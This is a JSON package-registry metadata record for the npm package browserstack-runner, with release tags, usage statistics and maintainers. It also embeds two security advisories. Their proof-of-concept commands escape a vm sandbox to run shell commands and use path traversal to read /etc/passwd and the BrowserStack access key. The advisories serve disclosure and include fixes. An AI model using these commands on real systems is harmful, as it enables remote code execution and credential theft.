,"sha":"801ab2b07f755cbcd60bb6b4aef91df05e163548","kind":"commit","published_at":"2014-04-17T15:38:39.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.1.13","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.13/manifests"},{"name":"v0.1.12","sha":"08e729724acc48341bc0ae4c18a8794783289a1b","kind":"tag","published_at":"2014-04-12T21:48:31.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.1.12","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.12/manifests"},{"name":"v0.1.11","sha":"8d59e9b8634869da3cb5bc0ce12563a74fc1461f","kind":"commit","published_at":"2014-04-10T14:59:15.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.1.11","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.11/manifests"},{"name":"v0.1.10","sha":"2d7ef0b3dc988cf0fe81f05f9c39e34259d97ffe","kind":"commit","published_at":"2014-04-01T10:07:03.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.1.10","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.10/manifests"},{"name":"v0.1.9","sha":"1dd31b5af1712c02529db76e9b3dc4d3fb2ccaf6","kind":"tag","published_at":"2014-03-23T13:26:11.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.1.9","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.9/manifests"},{"name":"v0.1.8","sha":"23712c7d0fc510dccf4198a3114882e4622b7713","kind":"tag","published_at":"2014-03-18T15:41:40.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.1.8","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.1.8/manifests"}]},"repo_metadata_updated_at":"2026-09-30T09:19:06.599Z","dependent_packages_count":85,"downloads":4836,"downloads_period":"last-month","dependent_repos_count":2609,"rankings":{"downloads":3.7100957822054212,"dependent_repos_count":0.42633588569151804,"dependent_packages_count":0.40908070365927435,"stargazers_count":4.665547525741272,"forks_count":3.563650812295114,"docker_downloads_count":1.0724489678349614,"average":2.307859946237927},"purl":"pkg:npm/browserstack-runner","advisories":[{"uuid":"GSA_kwCzR0hTQS02dnIzLTd3Y3gtdjVnNc4ABYBV","url":"https://github.com/advisories/GHSA-6vr3-7wcx-v5g5","title":"browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler","description":"### Summary\n\nThe HTTP handler `/_log` in `lib/server.js` (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system.\n\n### Details\n\nWhen `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows:\n\n```javascript\n// lib/server.js lines 504-510\nvar context = { input: query.arguments, format: util.format, output: '' };\nvar tryEvalOrString = 'function (arg) { try { return eval(\\'o = \\' + arg); } catch (e) { return arg; } }';\nvm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);\n```\n\nThe `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor(\"return process\")()`.\n\nUnlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication.\n\n### Proof of Concept\n\n```bash\n# Terminal 1: start the runner\necho '\u003chtml\u003e\u003cbody\u003et\u003c/body\u003e\u003c/html\u003e' \u003e t.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"t.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' \u003e browserstack.json\nnode bin/runner.js\n\n# Terminal 2: exploit\ncurl -s http://127.0.0.1:8888/_log \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"arguments\":[\"this.constructor.constructor(\\\"return process.mainModule.require(\\`child_process\\`).execSync(\\`id\\`).toString()\\\")()\"]}'\n\n# Terminal 1 output shows:\n# [undefined] uid=1000(user) gid=1000(user) ...\n```\n\n### Impact\n\nAn attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.\n\n### Remediation\n\n1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler — use `JSON.stringify()` for safe logging\n2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers)\n3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0`\n\n### Credit\n\nChrist Bowel Bouchuen","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-03T21:39:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5","https://nvd.nist.gov/vuln/detail/CVE-2026-49143","https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler","https://github.com/advisories/GHSA-6vr3-7wcx-v5g5"],"source_kind":"github","identifiers":["GHSA-6vr3-7wcx-v5g5","CVE-2026-49143"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-03T22:00:08.550Z","updated_at":"2026-09-25T12:03:16.069Z","epss_percentage":0.00671,"epss_percentile":0.49875,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dnIzLTd3Y3gtdjVnNc4ABYBV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dnIzLTd3Y3gtdjVnNc4ABYBV","packages":[{"ecosystem":"npm","package_name":"browserstack-runner","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.9.5"}],"purl":"pkg:npm/browserstack-runner"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dnIzLTd3Y3gtdjVnNc4ABYBV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cnB3LTZjcWgtMnY5aM4ABYBU","url":"https://github.com/advisories/GHSA-8rpw-6cqh-2v9h","title":"browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server","description":"## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530–534 : `_default` handler:**\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n    var filePath = path.join(process.cwd(), uri);\n    handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho '\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e' \u003e _poc_test.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' \u003e browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n\u003e **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n\u003e by default. Browsers and HTTP libraries that do not normalize URL paths\n\u003e (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` → server returns the machine hostname\n- `/etc/passwd` → server returns the full passwd file\n- `browserstack.json` → server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), '.' + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n    sendError(response, 'Forbidden', 403);\n    return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-03T21:38:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h","https://nvd.nist.gov/vuln/detail/CVE-2026-49144","https://www.vulncheck.com/advisories/browserstack-runner-path-traversal-via-default-http-handler","https://github.com/advisories/GHSA-8rpw-6cqh-2v9h"],"source_kind":"github","identifiers":["GHSA-8rpw-6cqh-2v9h","CVE-2026-49144"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-03T22:00:08.550Z","updated_at":"2026-09-25T12:03:16.069Z","epss_percentage":0.00304,"epss_percentile":0.20599,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cnB3LTZjcWgtMnY5aM4ABYBU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cnB3LTZjcWgtMnY5aM4ABYBU","packages":[{"ecosystem":"npm","package_name":"browserstack-runner","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.9.5"}],"purl":"pkg:npm/browserstack-runner"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cnB3LTZjcWgtMnY5aM4ABYBU/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/browserstack-runner","docker_dependents_count":4,"docker_downloads_count":221,"usage_url":"https://repos.ecosyste.ms/usage/npm/browserstack-runner","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/browserstack-runner/dependencies","status":"deprecated","funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-24T09:18:07.826Z","issues_count":48,"pull_requests_count":65,"avg_time_to_close_issue":29660389.945945945,"avg_time_to_close_pull_request":8310013.333333333,"issues_closed_count":37,"pull_requests_closed_count":48,"pull_request_authors_count":29,"issue_authors_count":31,"avg_comments_per_issue":3.5,"avg_comments_per_pull_request":2.3384615384615386,"merged_pull_requests_count":39,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":0,"past_year_pull_requests_count":1,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":1,"past_year_issue_authors_count":0,"past_year_avg_comments_per_issue":null,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":1,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/issues","maintainers":[{"login":"francisf","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/francisf"},{"login":"AnkurGel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AnkurGel"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/browserstack-runner/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/browserstack-runner/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/browserstack-runner/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/browserstack-runner/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/browserstack-runner/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/browserstack-runner/codemeta","maintainers":[{"uuid":"jzaefferer","login":"jzaefferer","name":null,"email":"joern.zaefferer@gmail.com","url":null,"packages_count":38,"html_url":"https://www.npmjs.com/~jzaefferer","role":null,"created_at":"2022-11-10T15:22:07.423Z","updated_at":"2022-11-10T15:22:07.423Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jzaefferer/packages"},{"uuid":"browserstack-admin","login":"browserstack-admin","name":null,"email":"support@browserstack.com","url":null,"packages_count":21,"html_url":"https://www.npmjs.com/~browserstack-admin","role":null,"created_at":"2026-02-25T22:20:30.453Z","updated_at":"2026-02-25T22:20:30.453Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/browserstack-admin/packages"}]}